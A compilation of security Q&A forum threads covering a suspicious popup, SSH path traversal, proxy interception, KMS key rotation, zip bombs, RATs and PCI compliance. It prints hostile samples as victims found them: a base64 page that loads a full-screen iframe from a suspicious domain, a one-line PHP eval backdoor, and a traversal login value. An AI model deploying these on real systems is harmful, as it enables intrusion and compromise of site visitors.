data:text/html;base64,PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgdXNlci1zY2FsYWJsZT1mYWxzZSwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wIj48L2hlYWQ+PGJvZHk+PGRpdiBpZD0iaWZybSIgc3R5bGU9InBhZGRpbmc6MDsgbWFyZ2luOjA7Ij48aWZyYW1lIHNyYz0iaHR0cHM6Ly9zMy5hbWF6b25hd3MuY29tL3d3dy5hb3RxNGpncXk5bjcxLmluZm8vVVMvd3Bld2VrazMzMDNsa2Vra2sxMWtrLmh0bWwiIHN0eWxlPSJ0b3A6MDsgbGVmdDowOyB3aWR0aDoxMDAlOyBoZWlnaHQ6MTAwJTsgcG9zaXRpb246IGFic29sdXRlOyBib3JkZXI6MCIgc2Nyb2xsaW5nPSJ5ZXMiIGFsbG93RnVsbFNjcmVlbj0ieWVzIj48L2lmcmFtZT48L2Rpdj48L2JvZHk+PC9odG1sPg==

I also captured 3 screenshots of the page:

The initial popup
The page behind the popup
The page behind the popup, scrolled down

The last screenshot is updated in real time with fake posts.

Does anyone know what this is or how to get rid of it?

I had the same thing happen. Yes this is an attempt to infect your system with malware. It may have been delivered via text message, skype message, or infected website. What you need to do is go into your Chrome app data cache and clear all data from Chrome app. This resolved the issue for me. I am guessing this is some sort of javascript that gets cached in Chrome data storage.


Is it safe to share bank details? Is it safe to share bank details in order to receive a payment from someone?
If so, what details are safe to share and what should be kept secret?

I notice that checks seem to have a lot my details on.

Bank details by them self are not such an issue.
If you however supply more personal info such as a picture of your ID/pin number/secret code/bank login information, this will be an issue since an attacker can use this against you.

For example: (Only main issues are pointed out)

If I have a picture of your ID and your account information, I can edit the ID to have a picture of me and go to the bank with the fake ID and identify myself as you.
If I have your login details I can try to brute force online account and then manage your account as I wish.

In conclusion:
Never give out more information then is needed for the transfer and even then, only if you trust the person.


Expand user login in Path - Filter malicious values I have a function that takes a pathname and substitutes every occurrence of '%u' with a given String. For my scenario this given String is the login that a user/attacker enters via ssh during authentication. The pathname (including the '%u') is fixed and cannot be changed by the user/attacker.

Lets say the fixed pathname is:

/usr/local/etc/ssh/keystore/%u/authorized_keys

If the user/attacker e.g. is now issuing the following command:

ssh root@myssh.server.org

The path will be extended to:

/usr/local/etc/ssh/keystore/root/authorized_keys

If user root is now authorized (will be determined by ldap group membership) and has a valid x509 certificate the public key of the x509 certificate will be written into the examined authorized_keys file. If the user is not authorized the authorized_keys file will be truncated.

An attacker is now able to truncate every existing authorized_keys file on the filesystem due to the fact that no input validation takes place for the given user login.

Consider the following ssh connect:

ssh ../keystore/foo@myssh.server.org

The path will be extended to:

/usr/local/etc/ssh/keystore/../keystore/foo/authorized_keys

With quite a high probability the user '../keystore/foo' is not authorized to log in to the system leading to the truncation of the authorized_keys file of a possibly legal user 'foo'.

Although during the next connect of foo his authorized_keys file gets updated again I wanna get rid of this attack vector.

So far two possible solutions came into my mind:

1. Validate user login against a regular expression (whitelist approach)

E.g. use the default NAME_REGEX:

^[a-z][-a-z0-9]*\$

Still if the system does not use the NAME_REGEX functionality users would be closed out from ssh

2. Check if expanded path contains '..' and fail if so (blacklist approach)

This wouldn't close out users but still I am not quite sure if this is sufficient or if any other patterns exists that could lead to the same behavior as mentioned above

There is no doubt that the white-list approach remains the best one (actually I would even add a maximum size limitation to this regex, I guess a legitimate login counting several hundreds of characters should not be so frequent...), because it will protect you also against a range of unsuspected exploits and brings you some level of trust that the login passing this tests, whether valid or not, are correctly formed and will not have the possibility to harm the system.

Having user names to comply with some reasonable pattern does not seem an excessive requirement (Have you ever tried an account like "foo' or '1' ='1" somewhere? Or claimed that your really need unicode or non-standard charset support for your favorite login?).


on which layer do the interception happens using the proxy tools like burp, either in application layer or network layer? we intercept a request using any proxy tool(burp) and modify the content and resend the request, during this process whether we are intercepting the request of the application in browser level or in network level. because in some applications while using burp am finding that the login credentials are been displaying in plain text(without any encryption) whereas it is encrypted using other like wire shark. can we take this as an issue if the information is shown in plain text in Burp tool?

So this looks like two questions; 1. which OSI layer do tools like burp suite work on, and 2. is it an issue if information is in the clear in a proxy tool but not in a raw capture from wireshark.

Proxies like burp operate on OSI layer 7 (application) which allows them to understand HTTP, and traffic must be directed to them by configuring the client application.
Burp is doing an MiTM attack on the encryption as you are routing traffic through it, wireshark on the other hand is just capturing the raw traffic and does not has enough information to allow it to decrypt the traffic (by default), so nothing to worry about so long as it's encrypted in wireshark.


AWS KMS Data Key Rotation I am using AWS KMS as a vault for my encryption key. Now what I am doing is that I am creating one data key, encrypt it using Customer Managed CMKs.
Now on every request, I just call AWS KMS Service to decrypt the data key and from the data key, I encrypt/decrypt the data.
I am using this to encrypt/decrypt the database fields for PII.
For encryption/decryption, using AES-256.
Now how would data key rotation works?  Suppose I have 1 million emails which I have encrypted using DataKeyA. Now key rotation happens and new data key is DataKeyB. Now how do previous emails will decrypt. Or do I have to re-encrypt those prev 1 million email with DataKeyB?
Is it even necessary to rotate the data key? Or rotating master key every year is sufficient.

Let's break it apart.  You have an encryption key:
YOUR_KEY
You use this to encrypt the data in your database:
ENCRYPTED_PII_DATA = AES(PII, YOUR_KEY)

You don't want your key stolen so you encrypt it with AWS KMS and it gets stored in your application as:
YOUR_KMS_ENCRYPTED_KEY
Therefore when your application launches it grabs YOUR_KMS_ENCRYPTED_KEY out of its own store and sends that to AWS KMS for decryption:
YOUR_KEY = KMS_DECRYPT(YOUR_KMS_ENCRYPTED_KEY)

Thus restoring the original YOUR_KEY which (presumably) you store in memory and use to decrypt all your PII as needed:
PII = AES_DECRYPT(ENCRYPTED_PII_DATA, YOUR_KEY)

So what happens when you ask AWS to rotate its master key?  In your case: nothing.  AWS KMS keeps all the old versions of its own encryption key around so that it can continue to decrypt any data it had previously encrypted.  Your application doesn't know anything about the rotation of course, so the next time your app launches it will grab YOUR_KMS_ENCRYPTED_KEY out of its store, send it off to AWS again, ask for it to be decrypted, and AWS will return YOUR_KEY just as it always has.  You will then be able to decrypt your data with YOUR_KEY just like you always did.  However rotation will give you another option.  After your app decrypts its key, it can go ahead and ask AWS KMS to re-encrypt it again:
YOUR_KMS_ENCRYPTED_KEY_V2 = KMS_ENCRYPT(YOUR_KEY)

This will return back a new encrypted version of YOUR_KEY which is encrypted using the new AWS master key.  However, this is still just an encrypted version of YOUR_KEY, and when you ask AWS KMS to decrypt it again, you'll still end up with YOUR_KEY.  As a result, from the perspective of your PII, your master key has never changed.  You will still be able to decrypt your PII just as you did before, since your key has never changed (just the encrypted version of it).
In other words, since you aren't using KMS to encrypt your PII, but instead are using it to encrypt the encryption key used for your PII, you aren't actually rotating the key used for your PII.  If you also wanted to rotate the key used to encrypt your PII then you would have to manage that process yourself, which would mean:

Generate YOUR_KEY_V2
Use YOUR_KEY to decrypt your PII
Re-encrypt your PII with YOUR_KEY_V2
Encrypt YOUR_KEY_V2 - YOUR_KEY_V2_KMS_ENCRYPTED = KMS_ENCRYPT(YOUR_KEY_V2)
Store YOUR_KEY_V2_KMS_ENCRYPTED and throw away YOUR_KMS_ENCRYPTED_KEY

(just make sure you do this in a way that you don't permanently lose access to data if any of the above steps are interrupted, which is probably the hard part)
Hopefully that was clear and answers your first question.  Your last question however:

Is it even necessary to rotate the data key? Or rotating master key
every year is sufficient.

Is unanswerable.  Only you can decide if it is necessary to rotate the data key.  Your company may have guidance about what kind of key rotations are necessary and when, but otherwise it's not like there is a law about this.  You have to decide for yourself what risks you are trying to protect against, the best way to mitigate those risks, and which steps are worth the effort.  As an example, rotating the KMS master key may provide some protection in the event that someone grabs an old key out of a stolen backup, but provides no protection in the event that someone manages to grab YOUR_KEY directly out of the running application.  In the latter case all PII would be accessible to anyone who stole YOUR_KEY.  The only way to protect against that would be by using AWS KMS to encrypt the PII directly, but of course doing that has monetary and performance costs.


Can WiFi packets be sniffed/decrypted if you don't have access to the network? I have multiple devices connected to a router, including my phone. The router has no internet; therefore, the network only works locally. All nodes can talk with each other thanks to the router. I use my phone to send messages to the nodes.
If no one has access to the WiFi password will it be possible for someone to sniff the udp messages that I send over the network? If I host a small website in that enclosed network will HTTP traffic be secure? Will you guys recommend using HTTPS even though I am the only one that will use the network?
Pretend that if instead of using wifi, the network is wired. If I were to read the 0s and 1s from a cable, will the messages be encrypted even though they are simple HTTP requests?

Unless you are not using any security at all on your Wifi, no. Nobody but those connected can read anything. Please don't tell me your network is unprotected.
If you have your network "protected" by WEP, someone can crack the password in minutes, and begin decrypting the traffic. But if you use WPA2, it's very difficult. No matter what protection you have, unless the attacker gets your network password, they cannot read anything but encrypted blobs of data. No matter if UDP or TCP, they cannot.
On a cable things are different. If they tap into the wires, they can read all unencrypted traffic. All HTTP traffic is plaintext, and all non-encrypted protocol as well (FTP, SMTP, DNS, telnet).


Is it acceptable practice to only increment a number when changing a password? Note: I'm not asking about this password scheme is the best or not (of course it isn't); I'm asking about its theoretical or practical secureness relative to the optimal password scheme based on the algorithms commonly used in authentication and encryption. As I already say in my question, mathematically this scheme (as I've defined it here) is as secure as what people are told to do (but rarely do; though irrelevant here), but I don't know whether there are weird aspects of authentication or encryption that invalidate the mathematical analysis based on entropy alone.

Well so I had this interesting thought. Since password-protected systems often require users to change their password frequently, many people just increment a counter appended to some prefix, such as:

  awefjio;1

  awefjio;2

  ...

I wonder whether using such a family of passwords is as secure as choosing a completely random new password each time, as long as the prefix is uniformly randomly chosen and as long as each random new password plus about 10 bits. I ignored the extra bits from the counter since that might be guessable within a small error margin given the frequency that users are required to change their password. Mathematically this password scheme is good enough because the extra 10 bits lets the attacker try 1024 times as long to crack the password as compared to the completely random one, assuming one does not change a password more than 1024 times. (Here I'm assuming the attacker somehow has a hash of the password, including any salt needed.)

Now I know one obvious disadvantage to this, which is that an attacker who somehow gets hold of the current password will know all previous passwords, nevertheless this seems completely irrelevant in most practical situations, where once logged in the user has full access to his/her account and never needs the old passwords.

Hence my question; is there any concrete reason why users should not use this scheme for changing passwords? I'm guessing that if the answer is positive, it will depend on the authentication or encryption algorithms involved themselves, in which case I'm fine with restricting the question to the most commonly used algorithms.

To be clear, I'm only asking about the situation where:

Users have no choice but to change their passwords at some fixed frequency, and do not have the option to use a password manager (such as on a workplace computer). They therefore have to decide on some scheme. This question is about whether one particular scheme is better than another.
Choose a fixed constant n. I have in mind n ≥ 64 at minimum, if that matters.

a. The first scheme is to choose a new independent random string with n-bit entropy every time one needs to change the password.

b. The second scheme is to choose a fixed random string with (n+10)-bit entropy and append a counter that is incremented every time one needs to change the password.

The question is whether (b) is at least as secure as (a) for common types of password-protected systems.

If an attacker has found out your password, he can access the system up until you change the password. Changing passwords often prevents attackers that already have your password to have undetected access indefinitely.

Now, if your password is secret-may16 and the attacker is locked out when you change your password, he is certainly going to try secret-june16 as the password. So changing the password in a predictable way is not secure.


What are some possible uses of a zip bomb? This article claims that zip bombs cannot be used today as modern systems are too smart for it and no victim is going to slowly unpack terrabytes of data so zip bombs are basically useless.

Is this true? Are there any uses for a zip bomb at all?

Say, how about a program that slowly extracts a zip bomb in the background. Slowly so that the victim doesn't realize that their hard disk is being filled with rubbish.

Most antivirus are able to detect zip bombs. In this modern day. Zip bombs doesn't cause much effect or not at all to systems.

Antivirus scans 3 downlevel usually unless you changed the settings so

Zip bombs don't cause AV to crash therefore does not "create" a scenario where AV crashed and opportunity arises for malware to infect the system.

System Processes now work more efficiently as compared to earlier days when zip bombs are reigning.

If unpacking zip bombs consumes memory. It pretty much are contained within the process. The process handling the extraction would just run out of memory and crash.

Writing a script and slowly extracting the zip bombs does not make a dent in the system, running out of space, the unzipping would fail.

Again modern day systems running into low disk space will sound a 'low disk space's warning. All the user needs to do is find large files and just deleting them.

Even if disk spaces are full, system will still run at minimal mode.

Zip bombs are not what its name says it is. When you unzip a zip bomb, it doesn't "explode" in a grand fashion. If you use the extract all function. It's just gonna crash. Period.

So what about possible use case?
I probably say use it to troll someone, wasting 10secs of their life? But then again you be wasting your time and effort creating it.

In my opinion it isn't worth doing it now.


What are the risks when processing a document with Apache POI? Apache POI is a Java library for processing office documents.

What are the risks associated with processing untrusted documents? For example, a web site that allows users to upload documents that are processed using POI.

A potential risk I'm aware of in document parsing is that a document can reference a local resource, and the parser resolves this locally on the server. I would like to know whether this is a risk with POI.

The CVE statistics on Apache POI indicate only a single known vulnerability, which is of type "denial-of-service" and is expanded upon there: namely, a specially crafted document may make POI allocate tons of memory (that is, more than it already does normally). If such a vulnerability has been reported at all, then it means that behaviour of POI on hostile documents has been investigated; if no "local file inclusion" vulnerability was reported, then chances are that there is none.

If you want to be sure, you may download the source code and look for file access primitives (references to classes from System.IO). Alternatively, you could run the parsing in a Chroot sandbox so that local files which may be read through the parser could only be those from the sandbox.

(I don't guarantee anything here. At least, though, POI being written in pure Java, it should not suffer from remote code execution vulnerabilities through buffer overflows or similar bugs that are, by definition, prevented systematically at the VM level. You still want to enforce some strict limitations on VM memory usage, though.)


Can a malicious computer on a link local network cause harm on another network? If I had a firewall with two interfaces - one to an internal private network and the other on a link local network (169.254.0.0) - and sent all questionable requests to the link local computer, could a virus on that computer get access to the private network?

A virus is just a computer program. If Computer A can communicate with Computer B by any means, a virus on Computer A can reach Computer B. Reach, not necessarily infect.

To a virus infect Computer B, it must use a vulnerability, usually remote code execution. On a network where all computers share the same OS version and the same group of applications, usually infecting one computer via network is enough to infect all others.

If the firewall allows traffic from link local to the other network, any virus on Computer A have the possibility of reaching Computer B.


Should you use Radius and LDAP together? For example I'm reading something right now that says:
"The authentication server is a RADIUS server, which
authenticates virtual machines through a Lightweight Directory
Access Protocol (LDAP) database."

I thought that to authenticate you either use Radius OR LDAP, not both. Can someone straighten my head?

LDAP is a database with user information (including passwords). Radius is a protocol for authentication (and other things) but does not contain any user information by itself. This means you could use Radius to authenticate against various kinds of password storage, including an LDAP database.

Support for Radius can be found in lots of devices and with simple interface any authentication protocol can be used which is supported by the Radius server. Depending on the radius server this can be simple password storage, LDAP, 2FA... . Thus if a specific system directly supports LDAP authentication you can use it, if it supports only Radius (more common) than you could use a Radius server with LDAP support and this way get the LDAP authentication to the system.


What security risks do unauthorized mobile hotspot (MiFi) devices on company proprerty pose? I'm having some difficulty determining how, or if, MiFi devices on property should be regulated.  Personally, I see them as having little difference from any other rogue AP in the environment - the only real distinction being that they're generally not directly connected to the corporate network.  However, it is that segregation from the company network that makes labeling them as (and convincing management that they are) an actual threat somewhat difficult.

What are the prime security concerns that a company should be aware of, in regards to allowing these devices to operate on property and unregulated?

A significant threat is around an attacker setting up a hot spot that purports to be a valid company wireless access point. If the SSID is right, and the organisation doesn't use mutual authentication, users may connect to the malicious hotspot, which means all traffic will travel through kit controlled by the attacker.

See this question and this one for some implications.


I'm getting spam e-mail...from myself? I noticed yesterday that I had received spam e-mail, but my own e-mail address was listed as the sender.  Naturally, I changed my password.  This is probably a spoof, but I don't know enough about SMTP to understand the e-mail's headers and be sure of it.

I have two questions:

Was my e-mail account compromised?
Why would a spammer send mail to me that lists myself as the sender?

SMTP messages have a host of header values that are used by mail servers (Qmail) and mail clients (Outlook, Gmail) for different things.  It's possible your email was set as either the From or the Sender value which was displayed by your mail client.

Here's some info on SMTP from and sender headers: http://tools.ietf.org/html/rfc4021#section-2.1.2

As for your questions...

Question 1: No idea.  Getting emails from yourself isn't a guarantee that your account was compromised.

Question 2: If I were a spammer I would look for ways to confuse digital and organic anti-spam systems.  You could imagine anti-spam filters that automatically whitelist emails that come from the account holder and you can imagine people that get curious about messages that look like they came from themselves.  Those types of messages might be more likely to slip past spam filters and get clicked.

If you want to know more about the message you can investigate the mail headers.  That will show you the sender, the from, the return-path.  You should also be able to see what server your mail server received the message from so that might be a clue.

You could also look in your Sent mail folder.  If someone did compromise your account and send you mail and forgot to hide their tracks, you might see a copy of the message in there.  If you do find a copy in your Sent folder, that's a pretty strong indicator that something is wrong...


malicious file on my websites, can't delete it About 10 days ago I saw 2 unknown files on my websites (ASP.NET websites).

they spread on all 3 of my websites, and placed them selves in the CSS folder.

The first one was with the name of 'Paths.php' with this code in it.

500 <?php @eval($_POST['360']);?>

When I Googled the code, I found out it's kinda of a backdoor that kinda able to send anything it wants through a URL targeting the malicious file.
So I deleted it immediately.

But the second file which has the name of 'nul.doc.asp' , That I wasn't able to see it's code or even delete it, it's named in a way that I can't rename, edit, move, delete, the server says it can't reach it.

I am really desperate to get rid of it with no luck at all, I even contacted the  Customer Support and they didn't do thing in 10 days.

So can you help me guys by getting rid of it?

P.S I even tried to delete an entire website, everything was deleted but the file.

What about uploading yourself some shell code which would delete the file?

Something like deleteThaFile.asp:

<%
     Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
     Call oFileSys.DeleteFile("nul.doc.asp", True)
%>

Would that help?

You could also use the FileSystemObject to get some more information on the file (and other files) to better understand why it cant be deleted.

May be you could also deploy there some more generic ASP shell like file-manager, to see more what can be done about the file.


Are there any identity providers which support securing RESTful interfaces using digital signature? I would like to use digital signatures to secure access to a RESTful API, exactly as described here under "Message signing using Digital Signature".  Extract:

When signing, the sender uses their private key to write message’s signature, and the receiver uses the sender’s public key to check if it’s really from the sender. A timestamp and nonce are used to generate the signature, to prevent reuse against replay attacks.
A service (when acting as a receiver) has a list of public keys for all other services that want to talk to it and provides its public key (when acting as a sender) to other services that it wants to talk to.

This seems like the most appropriate method of securing access to my API because the clients are machines (i.e. non-human) users, and I have a known client base who are the only authorised users of the API.
Conscious that I should not be writing security code myself, and that this is a common use case, I would like to know of any identity providers or similar services which provide this authentication method "out of the box".  Having done some research on the internet it seems that the major identity providers such as Okta, Cognito etc. only support username and password credentials and not digital signature/certificates.
I'd be really grateful if security specialists with more experience in this field could point me in the direction of possible suppliers, or tell me if this is a service which is simply not available and will require me to write custom code to implement.  Thanks in advance!

Client ID and secret are indeed quite common (easy to grasp, albeit not that secure). There are products that support alternatives, though.
Keycloak has pretty advanced features for client authentication, and Okta seems to support key-based authentication as well: https://developer.okta.com/docs/reference/api/oidc/#client-authentication-methods


Is auth with a number of memorable questions better than regular password auth? It's not too easy to create a reliable and at the same time memorable password.

So, how about a number of memorable questions instead of a single password?
(This idea is related to this one)

Let the user create the questions himself. It could be any string, even a random number of symbols, as long as it reminds him of something.
It will make signup much longer, yes.

UPD: When a user signs in, he sees the question he is currently answering, so questions work like password hints. Just to clarify.

Answers are stored hashed (with salt fo course) (will additional encryption be useful?). Questions are stored encrypted in a chain, except for the first one - answer for the first question is the key to decrypt the next one, and so on. That guarantees that a potential violator will have to get the answer for each question one by one in a strict sequence, which will make it more difficult to do with social engineering.

Reset in case of forgotten answer for one of the questions: the forgotten part of the chain is deleted, and user is allowed to "grow" a new one instead of it. Of course, we first ask the user if he really wants to do that via email.

Reset in case of compromised answers: the whole chain is deleted, and user is allowed to create a new one. Again, email confirmation.

(this idea relies on email, could be an issue)

Could it be better than standard password auth?

The trouble with any scheme like this is that people in general are rubbish at choosing good questions, let alone remembering the answers.

In theory there is a huge amount of entropy as there are multiple instances of essentially infinite questions and possible answers.

In practice a significant number of people would still choose common questions and answers. First pet, car, street, place of birth etc

These answers are then vulnerable to both dictionary attacks and social engineering and/or open source research.


Android support for TLS 1.1 Do anybody know from what version of Android did TLS 1.1 started to be supported directly by the OpenSSL version preinstalled in the system?


Can malware provide hidden remote access to a user's desktop? Is there a possibility that malware on a computer could be providing remote access to an external party without the computer user being aware? I.e., some kind of hidden active remote access tool?

I.e., the computer I am using now, is there some chance an external user is viewing my active desktop without me being aware of it?

Yes it's possible.

An obvious example would be a Remote Access Trojan (RAT). Once your computer is infected they can do essentially whatever they're set up to do. This includes monitoring your screen, logging keystrokes, and accessing webcams.

My personal experience with this was being infected with the Blackshades RAT a few years ago. I was monitored for about two days and on the final day the kid on the other end clearly got impatient with me and demanded to know multiple credentials via a chatbox he put in the middle of my screen.

My solution at the time was to remove my usb wireless card to prevent him from sending any further commands, format the computer, and reinstall from scratch.


Why do we need to use HTTP CONNECT? If we are writing a custom http client which connects with an https server. Should the custom client when deployed on machines which are behind web proxy need to send a HTTP CONNECT Request so as to establish a connection with the https site, OR

Can it just do a Direct Request (say GET) to the https site?
If the above is possible what are there any issues/concerns? For Ex: Proxy's dont allow direct SSL connection as it does not know to which external address it is connecting? Is this one of reasons.

With https inspection available with Web Proxys

Like for TMG there is HTTPS Inspection Settings.
http://blog.blackfoundry.com/2011/06/02/break-open-dropbox-ssl-traffic-with-squid-proxy/
The above link says of ways to inspect https traffic.
Do proxies still bar outgoing direct ssl connection?

Thanks a lot...

You are trying to compare apples with pears. There is a difference between an HTTP proxy and site that serves http over ssl.

The former is a server that is used as an intermediary to do requests, depending on the type it will either conceal the clients or servers identity.

The latter is a protocol that is used to serve pages over a secured connection, so no eavesdroppers can see what's being requested. The server knows the identity of the client.


Application security vs network penetration testing I'm a web developer with about 7 years experience, but for the last 12 months I've been getting into cyber security so I've started implementing secure code practices and OWASP good practices at work. I've been preparing to do my OSCP an I've done a few CTFs because pentesting seems really interesting although I think application security is more me.

I've noticed app sec guys dont have/require large collections of certifications like pentesters do.

1) apart from reading web app hackers handbook,  implementating OWASP secure methodologies and doing CTFs, how else can I get into application security without purchasing pwk course (OSCP)?

2) Is it worth taking OSCP to become an  application security specialist or any other cert?

3) What's the big difference in terms of daily job tasks between network penetration testing and web application security?

1) Try the 'Natas' wargame on OverTheWire.org, it is good for learning concepts and getting to learn them in action. They have a bunch of insecure applications that you can practice exploiting. Also OWASP has a practice (insecure) application to test called WebGoat.

2) The same company(offensive security) who offers the oscp also offers the OSWE (Offensive Security Web Expert). I would definitely recommend taking the OSWE if you are looking to go the application route. The OSCP touches the application side but is more focused on the network.

3) Application security engineers are going to be working strictly on applications/code. Network testers work with the entire network. A network can consist of PCs, Servers, Routers, Firewalls, Switches, etc. So they are going to focus more on the network design, how an attacker can move around the network and exploit the machines on it. Application will be solely focused on a specific application/software.

Webgoat: https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

Natas: http://overthewire.org/wargames/natas/

OSWE: https://www.offensive-security.com/information-security-certifications/oswe-offensive-security-web-expert/


Generating QR code from seed in browser - possible security issue? I need to implement 2FA in my web app.
I'm doing this the standard way: the newly created user's seed is retrieved from the server(I use speakeasy) and the QR code is generated.
The thing is, it's possible to steal this seed from the browser's memory (maybe not likely, but still...)
Is this the standard way to do this?
What is the best practice for this?

Thanks!

A lot of what happens on the user's machine is going to be out of your control, and reliant on a sanitary system and/or browser isolation.

To that end, you can just do your best to clear the memory contents when you're done. Perhaps fill a byte array with zeroes, or explicitly delete a property reference if you're paranoid. Though the latter at least won't force the GC to clear the memory, and it will do this in its own time.

It also boils down to the fact that if you have a machine or browser compromised in some way that browser memory is being read from your site's tab, then you have bigger problems.


Keyboards with built in SmartCard reader. PIN/Password to unlock not via Computer I am looking for keyboards with a built in SmartCard reader, where the Smartcard can be unlocked directly without going via the computer. The keyboards I found so far connect the SmartCard reader via an integrated USB hub which opens the door for key loggers to snatch the PIN/password. Are there any keyboards where the SmartCard can be unlocked locally that don't transmit the PIN/password to the connected computer?

To clarify for what it will be used:

The employes will get SmartCards with authentication certificates on them. The SmartCard is protected by a PIN/Password. The user will:

insert the card
enter the card PIN/password (preferably locally)
enter the password for the certificate (on the computer)

We made tests with
external readers similar to the one here and the local handling of the unlock by PIN worked fine. Now we are looking for a way to remove the "extra device" on the table.

The problem with what you ask for is about sharing the keyboard with the OS. When a keyboard is plugged in a machine, then the operating system on that machine is made aware of every key press and key release event, and the OS maintains the knowledge of which key is pressed at any time. For your PIN entry scenario, you not only need the key presses to be sent to the smart card, but you also want the same key presses not to be sent to the operating system.

The keyboard, by itself, won't be able to guess whether you are about to type a PIN code. You could imagine a specific command sent from the computer, which tells to the keyboard: "now, key presses should be sent to the smart card, not to me". But you do not trust the host computer (that's the point of the discussion), so you cannot trust it for actually sending this command. Therefore, your special keyboard, if it exists at all, should have a manual switch or at least an indicator LED which the OS cannot override (e.g. the LED turns green when key presses are sent to the smart card).

You would not be at the end of your worries, though. Because when you use the smart card to perform a payment, the card "authenticates" the payment order (with some operation that the bank will accept as valid; this could be a MAC
or a digital signature). You then want to be sure that what the card sees and signs is indeed the payment order you believe. Since you do not trust the host computer, you need an extra display.

When you go down the road of "host computer is potentially hostile", you normally end up with the idea that the smart card reader should have its own keyboard and display, so that it may show you what you are about to sign, and makes sure that your PIN code goes to the card only. Ideally, the reader should run the banking application itself (to assemble the order in the right format). At that point, you have a payment terminal, which is a small, tamper-resistant computer with its own CPU, RAM, Flash, display, keyboard and smart card reader. The important point is that, short of a full-featured payment terminal, you will not get substantial security against an hostile host computer.

The easier way is to trust the host computer, so that you may reuse the components that the host computer already offers: CPU, RAM, storage, display, keyboard...


Privilege escalation from exploit What is the connection between an exploit to the point of privelage escalation and opening a reverse shell?

I understand certain parts of the process but not how they are tied together.

E.g. If a vulnerability is found and an overflow exploited with some payload that includes a NOP sled down to the executing payload, how is it connected to actually get root on the system or to copy the code to VM and change the memory section to executable?

Do additional payloads need to be sent through the same overflow? What is the actual controller that pieces the components together?

And for the reverse shell, is that an encrypted socket back to some system so that the C&C packets can be sent? I'm still missing what actually takes control on the remote system to handle this? Can a full program be injected in the overflow or in pieces and somehow reassembled and start running?

What is the connection between an exploit to the point of privelage escalation and opening a reverse shell?

There isn't actually a direct connection. An exploit takes advantage of a vulnerability in software. For the exploits you are referring to, you are looking to deliver code you've written to get access to the target system. This could open a reverse shell back to you so that you can run commands.

Escalating your privileges isn't directly related because the exploit runs with the permissions of the software you are attacking. If the software runs as root, you get root when you exploit it. If the software runs as joe, you get joe's permissions. Escalating after that is a separate process that may require running more exploits.

  And for the reverse shell, is that an encrypted socket back to some system so that the C&C packets can be sent?

It depends on what you want to run. Things like netcat are not encrypted by default, while sbd, or secure backdoor, are. It's really up to you and the code you deliver to the target.

  I'm still missing what actually takes control on the remote system to handle this?

When you exploit software in the scenario we are talking about, you are redirecting the flow of the program to execute your code. When it does that, it executes whatever code you tell it to do, as if you had yourself written the software.

  Can a full program be injected in the overflow or in pieces and somehow reassembled and start running?

This depends on the vulnerability. In a buffer overflow, you may have a limited size to deliver your code. In that case, you'll have to do what's called staging. Staging is delivering a much smaller program that then downloads more code from you until it gets to the full program you want your exploit to run.


What level of PCI Compliance do I need to adhere to if I do not store, but transmit data? I'm doing a bit of research on my level of PCI compliance, and I'm having a difficult time grasping where I'm supposed to be.

I have a web service that has recurring billing.  The site is created using PHP and Drupal.  I accept and transmit credit card information through a form, and submit it via TLS encrypted POST to Authorize.net for processing and storage.

I never store any credit card information.

I use a PCI-compliant hosting service, with a private, physical, dedicated server.

I process very, very few credit cards. Like, on the order of 1 every 2-3 months.

I know that I am required to be PCI compliant, but I'm unsure of which level it is, and I'm thinking it's either level A, or C. I'm hoping for level A, but I'm unsure of it, because I need recurring billing, and Authorize.net's ARB API seems to be the only one that supports it without me storing anything, so I then encrypt and post the data to Authorize.net.

Thanks for any answers.

Short version:

Possibly SAQ C, but be careful, because SAQ D is full of people who thought they were SAQ C.  If you gave more information, it might not be long until I nodded sagely and said "ah, yes, SAQ D."

Long version:

If you haven't, you should read the PCI DSS Self Assessment Questionnaire Instructions and Guidelines.

You're not SAQ A.  A is for "Card-not-present (e-commerce or mail/telephone-order) merchants, all cardholder data functions outsourced." (emphasis mine).  If your server is accepting a card number, then re-transmitting it to your processor, then you're transmitting card data, which is a cardholder data function.

You're not SAQ B.  B is for "Imprint-only merchants", that is, merchants with access to the physical card.  "B" is for Brick & mortar :).

You're not SAQ C-VT.  VT means "web-based virtual terminals", which means that your employee sits with a computer in front of them and a phone and types in the card numbers the customer tells them; the VT acts exactly like the terminal in the checkout line at your supermarket: talks to the processor, gets back a response, doesn't store card data.  If customers are entering data into your web server, then it's not a VT.

You might be SAQ C.  If you're immediately sending auth requests off to your processor, never storing them (like for batch), and don't have any other systems talking to the system that's taking cards, then you might qualify for C. But the kicker is "The payment application system/Internet device is not connected to any other systems within your environment".  You really have to be as minimal a conduit as can be.  This is where the nuance about transmitting-but-not-storing can impact you, by the way.  Storing card data will push you up to D, just transmitting might not - if properly limited.

That leaves you with SAQ D, "All other merchants not included in descriptions for SAQ types A through C".  It's the longest SAQ, which is why a lot of borderline cases believe hard enough that they become a SAQ C.

But even if you're SAQ D, if your processor supports tokenization, you can reduce your scope by answering "N/A" to a lot of questions and listing that as your compensating control.  For example, DSS 3.4, the requirement to encrypt card numbers, can be marked N/A if you're never storing card numbers but instead using tokens.

<disclaimer>
I work for Litle, but you might look into their PayPage + Vault,
which gives you tokenization and allows you to avoid having card
data transit your server.  Recurring payments, too, IIRC.
</disclaimer>


Is it possible to spoof the user agent of any application? I love using .torrent files instead of file hosting sites like Mediafire and google drive because of their lack of support for larger files.

However, even with a VPN your User Agent is still available and I have read in many places it is possible to spoof the user agent of torrenting applications like qbittorrent.

I am also looking to spoof the user agent of other applications such as discord. Does anyone here know of any applications that could assist me in spoofing the user agent of some of my more sensitive applications?

This can't be used for nefarious purposes only for self preservation so I am surprised I have not found anything on google.

Thanks in advanced!

If you're trying to spoof the user agent on applications sending HTTP traffic but don't support natively changing their reported user agent you could setup an interception proxy that rewrites HTTP requests.

That's a lot of work though to setup and configure (I assume you'll also want to intercept TLS traffic), and altering requests may actually break functionality if the server responds in an unexpected manner.

The trade-off doesn't seem worth it in my estimation. There's many other ways a browser/http request could be fingerprinted other than purely the user agent.


Nowadays, what is the difference between Cyber Security and IT Security? Lately (and not so lately), you can hear a lot about cyber security. It is really hard to find an official description about this matter so, let's take the ISO 27032 description:

  "Cybersecurity” or “Cyberspace security”, defined as the “preservation
  of confidentiality, integrity and availability of information in the
